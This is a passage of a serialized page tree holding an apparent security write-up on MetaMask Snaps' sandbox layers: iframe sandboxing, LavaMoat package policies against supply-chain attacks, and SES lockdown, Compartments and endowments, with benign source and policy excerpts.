'parent'",{"type":23,"tag":230,"props":1230,"children":1231},{"style":274},[1232],{"type":29,"value":388},{"type":23,"tag":230,"props":1234,"children":1235},{"class":232,"line":444},[1236,1241,1246],{"type":23,"tag":230,"props":1237,"children":1238},{"style":262},[1239],{"type":29,"value":1240},"      target:",{"type":23,"tag":230,"props":1242,"children":1243},{"style":380},[1244],{"type":29,"value":1245}," 'child'",{"type":23,"tag":230,"props":1247,"children":1248},{"style":274},[1249],{"type":29,"value":388},{"type":23,"tag":230,"props":1251,"children":1252},{"class":232,"line":453},[1253,1258,1263],{"type":23,"tag":230,"props":1254,"children":1255},{"style":262},[1256],{"type":29,"value":1257},"      targetWindow:",{"type":23,"tag":230,"props":1259,"children":1260},{"style":262},[1261],{"type":29,"value":1262}," iframeWindow",{"type":23,"tag":230,"props":1264,"children":1265},{"style":274},[1266],{"type":29,"value":388},{"type":23,"tag":230,"props":1268,"children":1269},{"class":232,"line":462},[1270,1275,1280],{"type":23,"tag":230,"props":1271,"children":1272},{"style":262},[1273],{"type":29,"value":1274},"      targetOrigin:",{"type":23,"tag":230,"props":1276,"children":1277},{"style":380},[1278],{"type":29,"value":1279}," '*'",{"type":23,"tag":230,"props":1281,"children":1282},{"style":274},[1283],{"type":29,"value":388},{"type":23,"tag":230,"props":1285,"children":1286},{"class":232,"line":471},[1287],{"type":23,"tag":230,"props":1288,"children":1289},{"style":274},[1290],{"type":29,"value":1291},"    });\n",{"type":23,"tag":230,"props":1293,"children":1294},{"class":232,"line":500},[1295],{"type":23,"tag":230,"props":1296,"children":1297},{"emptyLinePlaceholder":18},[1298],{"type":29,"value":459},{"type":23,"tag":230,"props":1300,"children":1301},{"class":232,"line":514},[1302,1307,1311,1315,1319],{"type":23,"tag":230,"props":1303,"children":1304},{"style":274},[1305],{"type":29,"value":1306},"    return { worker: ",{"type":23,"tag":230,"props":1308,"children":1309},{"style":262},[1310],{"type":29,"value":1128},{"type":23,"tag":230,"props":1312,"children":1313},{"style":274},[1314],{"type":29,"value":684},{"type":23,"tag":230,"props":1316,"children":1317},{"style":262},[1318],{"type":29,"value":920},{"type":23,"tag":230,"props":1320,"children":1321},{"style":274},[1322],{"type":29,"value":1323}," };\n",{"type":23,"tag":230,"props":1325,"children":1326},{"class":232,"line":897},[1327],{"type":23,"tag":230,"props":1328,"children":1329},{"style":274},[1330],{"type":29,"value":1331},"  }\n",{"type":23,"tag":32,"props":1333,"children":1334},{},[1335,1337,1343,1345,1352],{"type":29,"value":1336},"Here the iframe is created via ",{"type":23,"tag":71,"props":1338,"children":1340},{"className":1339},[],[1341],{"type":29,"value":1342},"createWindow",{"type":29,"value":1344},", which is defined in snaps-utils ",{"type":23,"tag":181,"props":1346,"children":1349},{"href":1347,"rel":1348},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[185],[1350],{"type":29,"value":1351},"package",{"type":29,"value":218},{"type":23,"tag":220,"props":1354,"children":1356},{"className":575,"code":1355,"language":577,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[1357],{"type":23,"tag":71,"props":1358,"children":1359},{"__ignoreMap":7},[1360,1403,1442,1479,1486,1507,1545,1553,1590],{"type":23,"tag":230,"props":1361,"children":1362},{"class":232,"line":233},[1363,1367,1372,1376,1381,1385,1390,1394,1399],{"type":23,"tag":230,"props":1364,"children":1365},{"style":256},[1366],{"type":29,"value":259},{"type":23,"tag":230,"props":1368,"children":1369},{"style":262},[1370],{"type":29,"value":1371}," iframe",{"type":23,"tag":230,"props":1373,"children":1374},{"style":268},[1375],{"type":29,"value":271},{"type":23,"tag":230,"props":1377,"children":1378},{"style":262},[1379],{"type":29,"value":1380}," document",{"type":23,"tag":230,"props":1382,"children":1383},{"style":274},[1384],{"type":29,"value":312},{"type":23,"tag":230,"props":1386,"children":1387},{"style":294},[1388],{"type":29,"value":1389},"createElement",{"type":23,"tag":230,"props":1391,"children":1392},{"style":274},[1393],{"type":29,"value":302},{"type":23,"tag":230,"props":1395,"children":1396},{"style":380},[1397],{"type":29,"value":1398},"'iframe'",{"type":23,"tag":230,"props":1400,"children":1401},{"style":274},[1402],{"type":29,"value":753},{"type":23,"tag":230,"props":1404,"children":1405},{"class":232,"line":243},[1406,1411,1415,1420,1424,1429,1433,1438],{"type":23,"tag":230,"props":1407,"children":1408},{"style":262},[1409],{"type":29,"value":1410},"    iframe",{"type":23,"tag":230,"props":1412,"children":1413},{"style":274},[1414],{"type":29,"value":312},{"type":23,"tag":230,"props":1416,"children":1417},{"style":294},[1418],{"type":29,"value":1419},"setAttribute",{"type":23,"tag":230,"props":1421,"children":1422},{"style":274},[1423],{"type":29,"value":302},{"type":23,"tag":230,"props":1425,"children":1426},{"style":380},[1427],{"type":29,"value":1428},"'id'",{"type":23,"tag":230,"props":1430,"children":1431},{"style":274},[1432],{"type":29,"value":684},{"type":23,"tag":230,"props":1434,"children":1435},{"style":262},[1436],{"type":29,"value":1437},"id",{"type":23,"tag":230,"props":1439,"children":1440},{"style":274},[1441],{"type":29,"value":753},{"type":23,"tag":230,"props":1443,"children":1444},{"class":232,"line":252},[1445,1449,1453,1457,1461,1466,1470,1475],{"type":23,"tag":230,"props":1446,"children":1447},{"style":262},[1448],{"type":29,"value":1410},{"type":23,"tag":230,"props":1450,"children":1451},{"style":274},[1452],{"type":29,"value":312},{"type":23,"tag":230,"props":1454,"children":1455},{"style":294},[1456],{"type":29,"value":1419},{"type":23,"tag":230,"props":1458,"children":1459},{"style":274},[1460],{"type":29,"value":302},{"type":23,"tag":230,"props":1462,"children":1463},{"style":380},[1464],{"type":29,"value":1465},"'data-testid'",{"type":23,"tag":230,"props":1467,"children":1468},{"style":274},[1469],{"type":29,"value":684},{"type":23,"tag":230,"props":1471,"children":1472},{"style":380},[1473],{"type":29,"value":1474},"'snaps-iframe'",{"type":23,"tag":230,"props":1476,"children":1477},{"style":274},[1478],{"type":29,"value":753},{"type":23,"tag":230,"props":1480,"children":1481},{"class":232,"line":280},[1482],{"type":23,"tag":230,"props":1483,"children":1484},{"emptyLinePlaceholder":18},[1485],{"type":29,"value":459},{"type":23,"tag":230,"props":1487,"children":1488},{"class":232,"line":334},[1489,1494,1498,1503],{"type":23,"tag":230,"props":1490,"children":1491},{"style":866},[1492],{"type":29,"value":1493},"    if",{"type":23,"tag":230,"props":1495,"children":1496},{"style":274},[1497],{"type":29,"value":664},{"type":23,"tag":230,"props":1499,"children":1500},{"style":262},[1501],{"type":29,"value":1502},"sandbox",{"type":23,"tag":230,"props":1504,"children":1505},{"style":274},[1506],{"type":29,"value":827},{"type":23,"tag":230,"props":1508,"children":1509},{"class":232,"line":371},[1510,1515,1519,1523,1527,1532,1536,1541],{"type":23,"tag":230,"props":1511,"children":1512},{"style":262},[1513],{"type":29,"value":1514},"      iframe",{"type":23,"tag":230,"props":1516,"children":1517},{"style":274},[1518],{"type":29,"value":312},{"type":23,"tag":230,"props":1520,"children":1521},{"style":294},[1522],{"type":29,"value":1419},{"type":23,"tag":230,"props":1524,"children":1525},{"style":274},[1526],{"type":29,"value":302},{"type":23,"tag":230,"props":1528,"children":1529},{"style":380},[1530],{"type":29,"value":1531},"'sandbox'",{"type":23,"tag":230,"props":1533,"children":1534},{"style":274},[1535],{"type":29,"value":684},{"type":23,"tag":230,"props":1537,"children":1538},{"style":380},[1539],{"type":29,"value":1540},"'allow-scripts'",{"type":23,"tag":230,"props":1542,"children":1543},{"style":274},[1544],{"type":29,"value":753},{"type":23,"tag":230,"props":1546,"children":1547},{"class":232,"line":391},[1548],{"type":23,"tag":230,"props":1549,"children":1550},{"style":274},[1551],{"type":29,"value":1552},"    }\n",{"type":23,"tag":230,"props":1554,"children":1555},{"class":232,"line":400},[1556,1560,1564,1568,1572,1577,1581,1586],{"type":23,"tag":230,"props":1557,"children":1558},{"style":262},[1559],{"type":29,"value":1410},{"type":23,"tag":230,"props":1561,"children":1562},{"style":274},[1563],{"type":29,"value":312},{"type":23,"tag":230,"props":1565,"children":1566},{"style":294},[1567],{"type":29,"value":1419},{"type":23,"tag":230,"props":1569,"children":1570},{"style":274},[1571],{"type":29,"value":302},{"type":23,"tag":230,"props":1573,"children":1574},{"style":380},[1575],{"type":29,"value":1576},"'src'",{"type":23,"tag":230,"props":1578,"children":1579},{"style":274},[1580],{"type":29,"value":684},{"type":23,"tag":230,"props":1582,"children":1583},{"style":262},[1584],{"type":29,"value":1585},"uri",{"type":23,"tag":230,"props":1587,"children":1588},{"style":274},[1589],{"type":29,"value":753},{"type":23,"tag":230,"props":1591,"children":1592},{"class":232,"line":444},[1593,1598,1602,1607,1611,1616,1620,1625],{"type":23,"tag":230,"props":1594,"children":1595},{"style":262},[1596],{"type":29,"value":1597},"    document",{"type":23,"tag":230,"props":1599,"children":1600},{"style":274},[1601],{"type":29,"value":312},{"type":23,"tag":230,"props":1603,"children":1604},{"style":262},[1605],{"type":29,"value":1606},"body",{"type":23,"tag":230,"props":1608,"children":1609},{"style":274},[1610],{"type":29,"value":312},{"type":23,"tag":230,"props":1612,"children":1613},{"style":294},[1614],{"type":29,"value":1615},"appendChild",{"type":23,"tag":230,"props":1617,"children":1618},{"style":274},[1619],{"type":29,"value":302},{"type":23,"tag":230,"props":1621,"children":1622},{"style":262},[1623],{"type":29,"value":1624},"iframe",{"type":23,"tag":230,"props":1626,"children":1627},{"style":274},[1628],{"type":29,"value":753},{"type":23,"tag":32,"props":1630,"children":1631},{},[1632],{"type":29,"value":1633},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":23,"tag":59,"props":1635,"children":1637},{"id":1636},"lavamoat-against-supply-chain-attacks-layer-2",[1638],{"type":29,"value":1639},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":23,"tag":32,"props":1641,"children":1642},{},[1643],{"type":29,"value":1644},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":23,"tag":32,"props":1646,"children":1647},{},[1648,1650,1656],{"type":29,"value":1649},"Malicious dependencies might utilize built-in modules like ",{"type":23,"tag":71,"props":1651,"children":1653},{"className":1652},[],[1654],{"type":29,"value":1655},"fs",{"type":29,"value":1657},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":23,"tag":32,"props":1659,"children":1660},{},[1661],{"type":29,"value":1662},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":23,"tag":32,"props":1664,"children":1665},{},[1666,1668,1675],{"type":29,"value":1667},"This is how a Policy file related to the iframes ",{"type":23,"tag":181,"props":1669,"children":1672},{"href":1670,"rel":1671},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[185],[1673],{"type":29,"value":1674},"looks",{"type":29,"value":218},{"type":23,"tag":220,"props":1677,"children":1681},{"className":1678,"code":1679,"language":1680,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n","json",[1682],{"type":23,"tag":71,"props":1683,"children":1684},{"__ignoreMap":7},[1685,1698,1710,1731,1751,1771,1791,1811,1831,1851,1868,1876,1888,1908,1924,1932],{"type":23,"tag":230,"props":1686,"children":1687},{"class":232,"line":233},[1688,1693],{"type":23,"tag":230,"props":1689,"children":1690},{"style":380},[1691],{"type":29,"value":1692},"\"@metamask/post-message-stream\"",{"type":23,"tag":230,"props":1694,"children":1695},{"style":274},[1696],{"type":29,"value":1697},": {\n",{"type":23,"tag":230,"props":1699,"children":1700},{"class":232,"line":243},[1701,1706],{"type":23,"tag":230,"props":1702,"children":1703},{"style":262},[1704],{"type":29,"value":1705},"      \"globals\"",{"type":23,"tag":230,"props":1707,"children":1708},{"style":274},[1709],{"type":29,"value":1697},{"type":23,"tag":230,"props":1711,"children":1712},{"class":232,"line":252},[1713,1718,1722,1727],{"type":23,"tag":230,"props":1714,"children":1715},{"style":262},[1716],{"type":29,"value":1717},"        \"MessageEvent.prototype\"",{"type":23,"tag":230,"props":1719,"children":1720},{"style":274},[1721],{"type":29,"value":817},{"type":23,"tag":230,"props":1723,"children":1724},{"style":256},[1725],{"type":29,"value":1726},"true",{"type":23,"tag":230,"props":1728,"children":1729},{"style":274},[1730],{"type":29,"value":388},{"type":23,"tag":230,"props":1732,"children":1733},{"class":232,"line":280},[1734,1739,1743,1747],{"type":23,"tag":230,"props":1735,"children":1736},{"style":262},[1737],{"type":29,"value":1738},"        \"WorkerGlobalScope\"",{"type":23,"tag":230,"props":1740,"children":1741},{"style":274},[1742],{"type":29,"value":817},{"type":23,"tag":230,"props":1744,"children":1745},{"style":256},[1746],{"type":29,"value":1726},{"type":23,"tag":230,"props":1748,"children":1749},{"style":274},[1750],{"type":29,"value":388},{"type":23,"tag":230,"props":1752,"children":1753},{"class":232,"line":334},[1754,1759,1763,1767],{"type":23,"tag":230,"props":1755,"children":1756},{"style":262},[1757],{"type":29,"value":1758},"        \"addEventListener\"",{"type":23,"tag":230,"props":1760,"children":1761},{"style":274},[1762],{"type":29,"value":817},{"type":23,"tag":230,"props":1764,"children":1765},{"style":256},[1766],{"type":29,"value":1726},{"type":23,"tag":230,"props":1768,"children":1769},{"style":274},[1770],{"type":29,"value":388},{"type":23,"tag":230,"props":1772,"children":1773},{"class":232,"line":371},[1774,1779,1783,1787],{"type":23,"tag":230,"props":1775,"children":1776},{"style":262},[1777],{"type":29,"value":1778},"        \"browser\"",{"type":23,"tag":230,"props":1780,"children":1781},{"style":274},[1782],{"type":29,"value":817},{"type":23,"tag":230,"props":1784,"children":1785},{"style":256},[1786],{"type":29,"value":1726},{"type":23,"tag":230,"props":1788,"children":1789},{"style":274},[1790],{"type":29,"value":388},{"type":23,"tag":230,"props":1792,"children":1793},{"class":232,"line":391},[1794,1799,1803,1807],{"type":23,"tag":230,"props":1795,"children":1796},{"style":262},[1797],{"type":29,"value":1798},"        \"chrome\"",{"type":23,"tag":230,"props":1800,"children":1801},{"style":274},[1802],{"type":29,"value":817},{"type":23,"tag":230,"props":1804,"children":1805},{"style":256},[1806],{"type":29,"value":1726},{"type":23,"tag":230,"props":1808,"children":1809},{"style":274},[1810],{"type":29,"value":388},{"type":23,"tag":230,"props":1812,"children":1813},{"class":232,"line":400},[1814,1819,1823,1827],{"type":23,"tag":230,"props":1815,"children":1816},{"style":262},[1817],{"type":29,"value":1818},"        \"location.origin\"",{"type":23,"tag":230,"props":1820,"children":1821},{"style":274},[1822],{"type":29,"value":817},{"type":23,"tag":230,"props":1824,"children":1825},{"style":256},[1826],{"type":29,"value":1726},{"type":23,"tag":230,"props":1828,"children":1829},{"style":274},[1830],{"type":29,"value":388},{"type":23,"tag":230,"props":1832,"children":1833},{"class":232,"line":444},[1834,1839,1843,1847],{"type":23,"tag":230,"props":1835,"children":1836},{"style":262},[1837],{"type":29,"value":1838},"        \"postMessage\"",{"type":23,"tag":230,"props":1840,"children":1841},{"style":274},[1842],{"type":29,"value":817},{"type":23,"tag":230,"props":1844,"children":1845},{"style":256},[1846],{"type":29,"value":1726},{"type":23,"tag":230,"props":1848,"children":1849},{"style":274},[1850],{"type":29,"value":388},{"type":23,"tag":230,"props":1852,"children":1853},{"class":232,"line":453},[1854,1859,1863],{"type":23,"tag":230,"props":1855,"children":1856},{"style":262},[1857],{"type":29,"value":1858},"        \"removeEventListener\"",{"type":23,"tag":230,"props":1860,"children":1861},{"style":274},[1862],{"type":29,"value":817},{"type":23,"tag":230,"props":1864,"children":1865},{"style":256},[1866],{"type":29,"value":1867},"true\n",{"type":23,"tag":230,"props":1869,"children":1870},{"class":232,"line":462},[1871],{"type":23,"tag":230,"props":1872,"children":1873},{"style":274},[1874],{"type":29,"value":1875},"      },\n",{"type":23,"tag":230,"props":1877,"children":1878},{"class":232,"line":471},[1879,1884],{"type":23,"tag":230,"props":1880,"children":1881},{"style":262},[1882],{"type":29,"value":1883},"      \"packages\"",{"type":23,"tag":230,"props":1885,"children":1886},{"style":274},[1887],{"type":29,"value":1697},{"type":23,"tag":230,"props":1889,"children":1890},{"class":232,"line":500},[1891,1896,1900,1904],{"type":23,"tag":230,"props":1892,"children":1893},{"style":262},[1894],{"type":29,"value":1895},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":23,"tag":230,"props":1897,"children":1898},{"style":274},[1899],{"type":29,"value":817},{"type":23,"tag":230,"props":1901,"children":1902},{"style":256},[1903],{"type":29,"value":1726},{"type":23,"tag":230,"props":1905,"children":1906},{"style":274},[1907],{"type":29,"value":388},{"type":23,"tag":230,"props":1909,"children":1910},{"class":232,"line":514},[1911,1916,1920],{"type":23,"tag":230,"props":1912,"children":1913},{"style":262},[1914],{"type":29,"value":1915},"        \"@metamask/post-message-stream>readable-stream\"",{"type":23,"tag":230,"props":1917,"children":1918},{"style":274},[1919],{"type":29,"value":817},{"type":23,"tag":230,"props":1921,"children":1922},{"style":256},[1923],{"type":29,"value":1867},{"type":23,"tag":230,"props":1925,"children":1926},{"class":232,"line":897},[1927],{"type":23,"tag":230,"props":1928,"children":1929},{"style":274},[1930],{"type":29,"value":1931},"      }\n",{"type":23,"tag":230,"props":1933,"children":1934},{"class":232,"line":960},[1935],{"type":23,"tag":230,"props":1936,"children":1937},{"style":274},[1938],{"type":29,"value":1552},{"type":23,"tag":32,"props":1940,"children":1941},{},[1942,1944,1950,1952,1958,1960,1966,1968,1974,1975,1981],{"type":29,"value":1943},"One crucial aspect of the policy, apart from the ",{"type":23,"tag":71,"props":1945,"children":1947},{"className":1946},[],[1948],{"type":29,"value":1949},"globals",{"type":29,"value":1951}," section, is the ",{"type":23,"tag":71,"props":1953,"children":1955},{"className":1954},[],[1956],{"type":29,"value":1957},"packages",{"type":29,"value":1959}," segment. This section permits the ",{"type":23,"tag":71,"props":1961,"children":1963},{"className":1962},[],[1964],{"type":29,"value":1965},"@metamask/post-message-stream",{"type":29,"value":1967},"package to exclusively interact with the package ",{"type":23,"tag":71,"props":1969,"children":1971},{"className":1970},[],[1972],{"type":29,"value":1973},"@metamask/utils",{"type":29,"value":112},{"type":23,"tag":71,"props":1976,"children":1978},{"className":1977},[],[1979],{"type":29,"value":1980},"readable-stream",{"type":29,"value":1982},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":23,"tag":32,"props":1984,"children":1985},{},[1986,1988,1994],{"type":29,"value":1987},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":23,"tag":71,"props":1989,"children":1991},{"className":1990},[],[1992],{"type":29,"value":1993},"lockdown",{"type":29,"value":1995}," function to freeze all javascript builtins prototypes.",{"type":23,"tag":59,"props":1997,"children":1999},{"id":1998},"secure-ecmascript-ses-sandbox-layer-3",[2000],{"type":29,"value":2001},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":23,"tag":32,"props":2003,"children":2004},{},[2005,2007,2014],{"type":29,"value":2006},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":23,"tag":181,"props":2008,"children":2011},{"href":2009,"rel":2010},"https://github.com/endojs/endo/tree/master/packages/ses",[185],[2012],{"type":29,"value":2013},"Secure EcmaScript (SES)",{"type":29,"value":2015}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":23,"tag":192,"props":2017,"children":2019},{"id":2018},"ses-fundamentals",[2020],{"type":29,"value":2021},"SES Fundamentals",{"type":23,"tag":2023,"props":2024,"children":2025},"h5",{"id":1993},[2026],{"type":29,"value":2027},"Lockdown",{"type":23,"tag":32,"props":2029,"children":2030},{},[2031,2033,2039],{"type":29,"value":2032},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":23,"tag":71,"props":2034,"children":2036},{"className":2035},[],[2037],{"type":29,"value":2038},"lockdown()",{"type":29,"value":2040}," function, which protects javascript objects against some attacks, mainly:",{"type":23,"tag":144,"props":2042,"children":2043},{},[2044,2057],{"type":23,"tag":102,"props":2045,"children":2046},{},[2047,2049,2055],{"type":29,"value":2048},"Prototype Pollution\nLockdown executes ",{"type":23,"tag":71,"props":2050,"children":2052},{"className":2051},[],[2053],{"type":29,"value":2054},"Object.freeze",{"type":29,"value":2056}," against all javascript builtins prototypes, preventing these attacks.",{"type":23,"tag":102,"props":2058,"children":2059},{},[2060,2062,2068,2070,2076],{"type":29,"value":2061},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":23,"tag":71,"props":2063,"children":2065},{"className":2064},[],[2066],{"type":29,"value":2067},"trace",{"type":29,"value":2069}," attribute in an ",{"type":23,"tag":71,"props":2071,"children":2073},{"className":2072},[],[2074],{"type":29,"value":2075},"Error",{"type":29,"value":2077}," object, which contains the stack trace of the error.",{"type":23,"tag":2023,"props":2079,"children":2081},{"id":2080},"compartment",[2082],{"type":29,"value":2083},"Compartment",{"type":23,"tag":32,"props":2085,"children":2086},{},[2087,2089,2095,2097,2102],{"type":29,"value":2088},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":23,"tag":71,"props":2090,"children":2092},{"className":2091},[],[2093],{"type":29,"value":2094},"globalThis",{"type":29,"value":2096}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":23,"tag":71,"props":2098,"children":2100},{"className":2099},[],[2101],{"type":29,"value":2094},{"type":29,"value":2103}," context is incapable of tampering with security.",{"type":23,"tag":220,"props":2105,"children":2107},{"className":222,"code":2106,"language":224,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[2108],{"type":23,"tag":71,"props":2109,"children":2110},{"__ignoreMap":7},[2111,2141,2177],{"type":23,"tag":230,"props":2112,"children":2113},{"class":232,"line":233},[2114,2118,2123,2127,2131,2136],{"type":23,"tag":230,"props":2115,"children":2116},{"style":256},[2117],{"type":29,"value":259},{"type":23,"tag":230,"props":2119,"children":2120},{"style":262},[2121],{"type":29,"value":2122}," c",{"type":23,"tag":230,"props":2124,"children":2125},{"style":268},[2126],{"type":29,"value":271},{"type":23,"tag":230,"props":2128,"children":2129},{"style":256},[2130],{"type":29,"value":291},{"type":23,"tag":230,"props":2132,"children":2133},{"style":294},[2134],{"type":29,"value":2135}," Compartment",{"type":23,"tag":230,"props":2137,"children":2138},{"style":274},[2139],{"type":29,"value":2140},"();\n",{"type":23,"tag":230,"props":2142,"children":2143},{"class":232,"line":243},[2144,2149,2153,2157,2162,2167,2172],{"type":23,"tag":230,"props":2145,"children":2146},{"style":262},[2147],{"type":29,"value":2148},"c",{"type":23,"tag":230,"props":2150,"children":2151},{"style":274},[2152],{"type":29,"value":312},{"type":23,"tag":230,"props":2154,"children":2155},{"style":262},[2156],{"type":29,"value":2094},{"type":23,"tag":230,"props":2158,"children":2159},{"style":268},[2160],{"type":29,"value":2161}," ===",{"type":23,"tag":230,"props":2163,"children":2164},{"style":262},[2165],{"type":29,"value":2166}," globalThis",{"type":23,"tag":230,"props":2168,"children":2169},{"style":274},[2170],{"type":29,"value":2171},"; ",{"type":23,"tag":230,"props":2173,"children":2174},{"style":237},[2175],{"type":29,"value":2176},"// false\n",{"type":23,"tag":230,"props":2178,"children":2179},{"class":232,"line":252},[2180,2184,2188,2192,2196,2201,2205,2210,2214],{"type":23,"tag":230,"props":2181,"children":2182},{"style":262},[2183],{"type":29,"value":2148},{"type":23,"tag":230,"props":2185,"children":2186},{"style":274},[2187],{"type":29,"value":312},{"type":23,"tag":230,"props":2189,"children":2190},{"style":262},[2191],{"type":29,"value":2094},{"type":23,"tag":230,"props":2193,"children":2194},{"style":274},[2195],{"type":29,"value":312},{"type":23,"tag":230,"props":2197,"children":2198},{"style":262},[2199],{"type":29,"value":2200},"JSON",{"type":23,"tag":230,"props":2202,"children":2203},{"style":268},[2204],{"type":29,"value":2161},{"type":23,"tag":230,"props":2206,"children":2207},{"style":262},[2208],{"type":29,"value":2209}," JSON",{"type":23,"tag":230,"props":2211,"children":2212},{"style":274},[2213],{"type":29,"value":2171},{"type":23,"tag":230,"props":2215,"children":2216},{"style":237},[2217],{"type":29,"value":2218},"// true\n",{"type":23,"tag":32,"props":2220,"children":2221},{},[2222,2224,2230,2232,2238,2240,2245],{"type":29,"value":2223},"Compartment also changes the behaviour of evaluators functions such as ",{"type":23,"tag":71,"props":2225,"children":2227},{"className":2226},[],[2228],{"type":29,"value":2229},"eval",{"type":29,"value":2231}," and the ",{"type":23,"tag":71,"props":2233,"children":2235},{"className":2234},[],[2236],{"type":29,"value":2237},"Function",{"type":29,"value":2239}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":23,"tag":71,"props":2241,"children":2243},{"className":2242},[],[2244],{"type":29,"value":2094},{"type":29,"value":312},{"type":23,"tag":2023,"props":2247,"children":2249},{"id":2248},"endowments",[2250],{"type":29,"value":2251},"Endowments",{"type":23,"tag":32,"props":2253,"children":2254},{},[2255,2257,2262,2264,2269],{"type":29,"value":2256},"While creating a Compartment, it is possible to specify ",{"type":23,"tag":2258,"props":2259,"children":2260},"em",{},[2261],{"type":29,"value":2248},{"type":29,"value":2263},". These endowments constitute objects that become accessible within the Compartment's ",{"type":23,"tag":71,"props":2265,"children":2267},{"className":2266},[],[2268],{"type":29,"value":2094},{"type":29,"value":2270},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":23,"tag":32,"props":2272,"children":2273},{},[2274,2276,2282],{"type":29,"value":2275},"In addition, SES provides the ",{"type":23,"tag":71,"props":2277,"children":2279},{"className":2278},[],[2280],{"type":29,"value":2281},"harden()",{"type":29,"value":2283}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":23,"tag":192,"props":2285,"children":2287},{"id":2286},"setting-up-snaps-execution-env",[2288],{"type":29,"value":2289},"Setting up Snaps Execution Env",{"type":23,"tag":32,"props":2291,"children":2292},{},[2293],{"type":29,"value":2294},"When starting a snap, the setup follows these steps:",{"type":23,"tag":144,"props":2296,"children":2297},{},[2298],{"type":23,"tag":102,"props":2299,"children":2300},{},[2301],{"type":23,"tag":2302,"props":2303,"children":2304},"strong",{},[2305,2307],{"type":29,"value":2306},"Create endowments based on snap ",{"type":23,"tag":181,"props":2308,"children":2311},{"href":2309,"rel":2310},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[185],[2312],{"type":29,"value":2313},"permissions",{"type":23,"tag":220,"props":2315,"children":2317},{"className":222,"code":2316,"language":224,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[2318],{"type":23,"tag":71,"props":2319,"children":2320},{"__ignoreMap":7},[2321,2371,2383,2395,2407,2419],{"type":23,"tag":230,"props":2322,"children":2323},{"class":232,"line":233},[2324,2328,2332,2336,2340,2345,2349,2354,2358,2362,2367],{"type":23,"tag":230,"props":2325,"children":2326},{"style":256},[2327],{"type":29,"value":259},{"type":23,"tag":230,"props":2329,"children":2330},{"style":274},[2331],{"type":29,"value":848},{"type":23,"tag":230,"props":2333,"children":2334},{"style":262},[2335],{"type":29,"value":2248},{"type":23,"tag":230,"props":2337,"children":2338},{"style":274},[2339],{"type":29,"value":684},{"type":23,"tag":230,"props":2341,"children":2342},{"style":262},[2343],{"type":29,"value":2344},"teardown",{"type":23,"tag":230,"props":2346,"children":2347},{"style":274},[2348],{"type":29,"value":817},{"type":23,"tag":230,"props":2350,"children":2351},{"style":262},[2352],{"type":29,"value":2353},"endowmentTeardown",{"type":23,"tag":230,"props":2355,"children":2356},{"style":274},[2357],{"type":29,"value":858},{"type":23,"tag":230,"props":2359,"children":2360},{"style":268},[2361],{"type":29,"value":863},{"type":23,"tag":230,"props":2363,"children":2364},{"style":294},[2365],{"type":29,"value":2366}," createEndowments",{"type":23,"tag":230,"props":2368,"children":2369},{"style":274},[2370],{"type":29,"value":619},{"type":23,"tag":230,"props":2372,"children":2373},{"class":232,"line":243},[2374,2379],{"type":23,"tag":230,"props":2375,"children":2376},{"style":262},[2377],{"type":29,"value":2378},"    snap",{"type":23,"tag":230,"props":2380,"children":2381},{"style":274},[2382],{"type":29,"value":388},{"type":23,"tag":230,"props":2384,"children":2385},{"class":232,"line":252},[2386,2391],{"type":23,"tag":230,"props":2387,"children":2388},{"style":262},[2389],{"type":29,"value":2390},"    ethereum",{"type":23,"tag":230,"props":2392,"children":2393},{"style":274},[2394],{"type":29,"value":388},{"type":23,"tag":230,"props":2396,"children":2397},{"class":232,"line":280},[2398,2403],{"type":23,"tag":230,"props":2399,"children":2400},{"style":262},[2401],{"type":29,"value":2402},"    